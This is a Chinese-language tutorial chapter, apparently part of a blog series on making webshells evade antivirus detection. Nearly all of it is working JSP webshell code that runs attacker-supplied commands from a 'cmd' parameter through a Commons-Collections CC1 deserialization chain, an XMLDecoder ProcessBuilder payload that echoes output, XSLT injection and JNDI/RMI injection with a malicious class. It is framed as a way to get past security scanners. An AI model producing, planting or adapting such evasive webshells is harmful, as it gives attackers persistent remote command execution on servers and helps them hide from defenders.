本章主要讲解,如何利用通用漏洞来进行命令执行,从而达到免杀效果
这种方式就相当于直接触发提供一个反序列化漏洞入口,但是能否被利用,还是在于服务端本身是否存在反序列化漏洞,下面给了一个例子,使用cc1链构建的webshell。
<%@ page import="java.io.*" %>
<%@ page import="org.apache.commons.collections.Transformer" %>
<%@ page import="org.apache.commons.collections.functors.ConstantTransformer" %>
<%@ page import="org.apache.commons.collections.functors.InvokerTransformer" %>
<%@ page import="org.apache.commons.collections.functors.ChainedTransformer" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.commons.collections.map.LazyMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.InvocationHandler" %>
<%@ page import="java.lang.annotation.Retention" %>
<%@ page import="java.lang.reflect.Proxy" %>
<%
String cmd = request.getParameter("cmd");
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { cmd }) };
Transformer transformerChain = new ChainedTransformer(transformers); Map innermap = new HashMap();
Map outmap = LazyMap.decorate(innermap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outmap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(handler);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
%>
免杀效果:
可见由于调用的函数太多,特征也非常明显,这里算是提供一些思路。
想必大家都分析Weblogic的xmlDecoder反序列化漏洞,XMLDecoder免杀其实就是利用XMLDecoder处理恶意的xml文件导致命令执行,并没有太多常见命令函数的特征,免杀效果不错。
<%@ page import="java.beans.XMLDecoder" %>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String s = "<object class=\"java.lang.ProcessBuilder\">\n" +
"<array class=\"java.lang.String\" length=\"3\">\n" +
"<void index=\"0\">\n" +
"<string>cmd.exe</string>\n" +
"</void>\n" +
"<void index=\"1\">\n" +
"<string>/c</string>\n" +
"</void>\n" +
"<void index=\"2\">\n" +
"<string>"+cmd+"</string>\n" +
"</void>\n" +
"</array>\n" +
"<void method=\"start\" />\n" +
"</object>\n"; XMLDecoder xd = new XMLDecoder(new ByteArrayInputStream(s.getBytes()));
ProcessBuilder process = (ProcessBuilder) xd.readObject();
InputStream is = process.start().getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
其实就是利用XSLT注入来执行命令,但值得注意的是XSLT注入笔者目前并没有想到合适的方法让内容回显,因为XSLT貌似只能执行静态方法且返回值都是以String类型返回,导致process中的数据很难取出来。
<%@ page import="java.io.*" %>
<%@ page import="javax.xml.transform.Transformer" %>
<%@ page import="javax.xml.transform.stream.StreamResult" %>
<%@ page import="javax.xml.transform.TransformerFactory" %>
<%@ page import="javax.xml.transform.stream.StreamSource" %>
<%
String cmd = request.getParameter("cmd");
String s = " <xsl:stylesheet version=\"1.0\" " +
"xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" " +
"xmlns:rt=\"java.lang.Runtime\"> " +
" <xsl:template match=\"/\">\n" +
" <xsl:variable name=\"rtobject\" select=\"rt:getRuntime()\"/>\n" +
" <xsl:variable name=\"process\" select=\"rt:exec($rtobject,'"+cmd+"')\"/>\n" +
" <xsl:variable name=\"ddd\" select=\"$process\"/>\n" +
" <xsl:value-of select=\"$ddd\"/>\n" +
" </xsl:template>\n" +
" </xsl:stylesheet>";
InputStream in = new ByteArrayInputStream(s.getBytes());
StreamResult result = new StreamResult(new ByteArrayOutputStream());
Transformer t = TransformerFactory.newInstance().newTransformer(new StreamSource(in));
t.transform(new StreamSource(new ByteArrayInputStream("<?xml version=\"1.0\" encoding=\"UTF-8\"?><data></data>".getBytes())),result);%>
攻击者:
package com.demo;import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Demo2 {
public static void main(String[] args) throws Exception {
try {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("hello", refObjWrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}
恶意类:
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;public class Calc implements ObjectFactory {
public Calc() {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
System.out.println(nameCtx);
//Runtime.getRuntime().exec("calc");
return null;
}
}
webshell:
<%@ page import="javax.naming.Context" %>
<%@ page import="javax.naming.InitialContext" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
try {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String uri = "rmi://127.0.0.1:1099/hello";
Context ctx = new InitialContext();
ctx.lookup(uri);
} catch (Exception e) {
e.printStackTrace();
}
%>
总结:
本章主要是通过自己创造漏洞来执行命令,而我们用到的这些函数其实也是业务中比较常见的函数,且如果不了解漏洞原理,也不好分析是否是webshell
往期推荐
什么?你还不会webshell免杀?(九)
什么?你还不会webshell免杀?(八)
什么?你还不会webshell免杀?(七)
什么?你还不会webshell免杀?(六)
什么?你还不会webshell免杀?(五)
什么?你还不会webshell免杀?(四)
什么?你还不会webshell免杀?(三)
什么?你还不会webshell免杀?(二)